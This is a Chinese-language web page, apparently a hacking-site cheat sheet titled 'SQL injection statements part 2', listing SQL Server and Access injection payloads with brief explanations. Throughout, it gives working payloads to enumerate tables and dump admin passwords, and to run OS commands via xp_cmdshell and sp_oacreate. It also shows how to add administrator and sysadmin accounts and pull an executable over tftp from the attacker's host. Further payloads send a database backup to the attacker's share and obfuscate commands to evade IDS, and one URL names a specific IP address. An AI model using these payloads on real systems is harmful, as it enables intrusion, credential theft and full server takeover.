當前位置：首頁 >> 網站漏洞 >> SQL注入 >> SQL注入語句下

SQL注入語句下

yupang 2022-04-08 15:36:50 SQL注入 744

sql注入語句上 http://www.790079.com/2021/12/56162/

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設為 admin 
 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin
')) 來得到其他的表。
 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'and uid>(st
r(id))) 暴到 UID 的數值假設為 18779569 uid=id 
 and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個 admin 的一個字
段,假設為 user_id 
 and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in('id
',...)) 來暴出其他的字段
 and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名
 依次可以得到密碼。。。。。假設存在 user_id username ,password 等字段
 Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
 Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin 
 (union 語句到處風靡啊，access 也好用
暴庫特殊技巧：:%5c='/' 或者把/和/ 修改%5 提交
 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address
')) 
 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(s
tr(id))) 判斷 id 值
 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1 
 ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) e
xec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/
W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path) 
values(@test) 
http://61.131.96.39/PageShow.asp?TianName=政策法規&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E
08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp
_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
 得到了 web 路徑 d:/xxxx,接下來：
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
傳統的存在 xp_cmdshell 的測試過程：
 ;exec master..xp_cmdshell 'dir' 
 ;exec master.dbo.sp_addlogin hax;--
 ;exec master.dbo.sp_password null,hax,hax;--
 ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
 ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes
 /passwordreq:yes /active:yes /add';--
 ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
 exec master..xp_servicecontrol 'start', 'schedule' 
 exec master..xp_servicecontrol 'start', 'server' 
 http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',
@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：/WINNT/system32/cmd.exe /c net user swap 
5258 /add' 
 ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,
'run',null, 'C：/WINNT/system32/cmd.exe /c net localgroup administrators swap/add' 
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
 declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/' 
 declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/' 
 ;declare @a;set @a=db_name();backup database @a to disk='你的 IP 你的共享目錄 bak.dat' 
 如果被限制則可以。
 select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_add
login hax') 
 傳統查詢構造：
 select * FROM news where id=... AND topic=... AND ..... 
 admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,0
1),1)='1') and userpass <>' 
 select 123;--
 ;use master;--
 :a' or name like 'fff%';-- 顯示有一個叫 ffff 的用戶哈。
 'and 1<>(select count(email) from [user]);--
 ;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) 
where name='ffff';--
說明:
 上面的語句是得到數據庫中的第一個用戶表,并把表名放在 ffff 用戶的郵箱字段中。
 通過查看 ffff 的用戶資料可得第一個用表叫 ad 
 然后根據表名 ad 得到這個表的 ID 
 ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='a
d') where name='ffff';--
 象下面這樣就可以得到第二個表的名字了
 ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>58
1577110) where name='ffff';--< 
BR> ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';
--
 ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff
';--
 ffff';update [users] set email=(select top 1 name from password where id=2) where name='fff
f';--
 exec master..xp_servicecontrol 'start', 'schedule' 
 exec master..xp_servicecontrol 'start', 'server' 
 sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll' 
 擴展存儲就可以通過一般的方法調用：
 exec xp_webserver 
 一旦這個擴展存儲執行過，可以這樣刪除它: 
 sp_dropextendedproc 'xp_webserver' 
 insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char
(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
 insert into users values( 667,123,123,0xffff)-
 insert into users values ( 123, 'admin''--', 'password', 0xffff)-
 ;and user>0 
 ;;and (select count(*) from sysobjects)>0 
 ;;and (select count(*) from mysysobjects)>0 //為 access 數據庫
 -----------------------------------------------------------通常注射的一些介紹：
 A) ID=49 這類注入的參數是數字型，SQL 語句原貌大致如下：
 select * from 表名 where 字段=49 
 注入的參數為 ID=49 And [查詢條件]，即是生成語句：
 select * from 表名 where 字段=49 And [查詢條件]
 (B) Class=連續劇 這類注入的參數是字符型，SQL 語句原貌大致概如下：
 select * from 表名 where 字段='連續劇' 
 注入的參數為 Class=連續劇' and [查詢條件] and ''=' ，即是生成語句：
 select * from 表名 where 字段='連續劇' and [查詢條件] and ''='' 
 (C) 搜索時沒過濾參數的，如 keyword=關鍵字，SQL 語句原貌大致如下：
 select * from 表名 where 字段 like '%關鍵字%' 
 注入的參數為 keyword=' and [查詢條件] and '%25'='， 即是生成語句：
 select * from 表名 where 字段 like '%' and [查詢條件] and '%'='%' 
 ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0 
 sysobjects 是 SQLServer 的系統表，存儲著所有的表名、視圖、約束及其它對象，xtype='U' and status>0，
表示用戶建立的表名，上面的語句將第一個表名取出，與 0 比較大小，讓報錯信息把表名暴露出來。
 ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0 
 從⑤拿到表名后，用 object_id('表名')獲取表名對應的內部 ID，col_name(表名 ID,1)代表該表的第 1 個字段
名，將 1 換成 2,3,4...就可以逐個獲取所猜解表里面的字段名。
 post.htm 內容：主要是方便輸入。
 枚舉出他的數據表名：
 id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>
0);--
 這是將第一個表名更新到 aaa 的字段處。
 讀出第一個表，第二個表可以這樣讀出來（在條件后加上 and name<>'剛才得到的表名'）。
 id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 
and name<>'vote');--
 然后 id=1552 and exists(select * from aaa where aaa>5) 
 讀出第二
表，^^^^^^一個個的讀出，直到沒有為止。
 讀字段是這樣：
 id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
 然后 id=1552 and exists(select * from aaa where aaa>5)出錯，得到字段名
 id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
 然后 id=1552 and exists(select * from aaa where aaa>5)出錯，得到字段名
 --------------------------------高級技巧：
 [獲得數據表名][將字段值更新為表名，再想法讀出這個字段的值就可得到表名]
  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and nam
e<>'你得到的表名' 查出一個加一個]) [ where 條件] 
 select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','tabl
e2',…) 
 通過 SQLSERVER 注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是 SYSADMIN 組] 
 [獲得數據表字段名][將字段值更新為字段名，再想法讀出這個字段的值就可得到字段名] 
 update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 
條件] 
 繞過 IDS 的檢測[使用變量] 
 declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/' 
 declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/' 
 1、 開啟遠程數據庫
 基本語法
 select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * f
rom table1' ) 
 參數: (1) OLEDB Provider name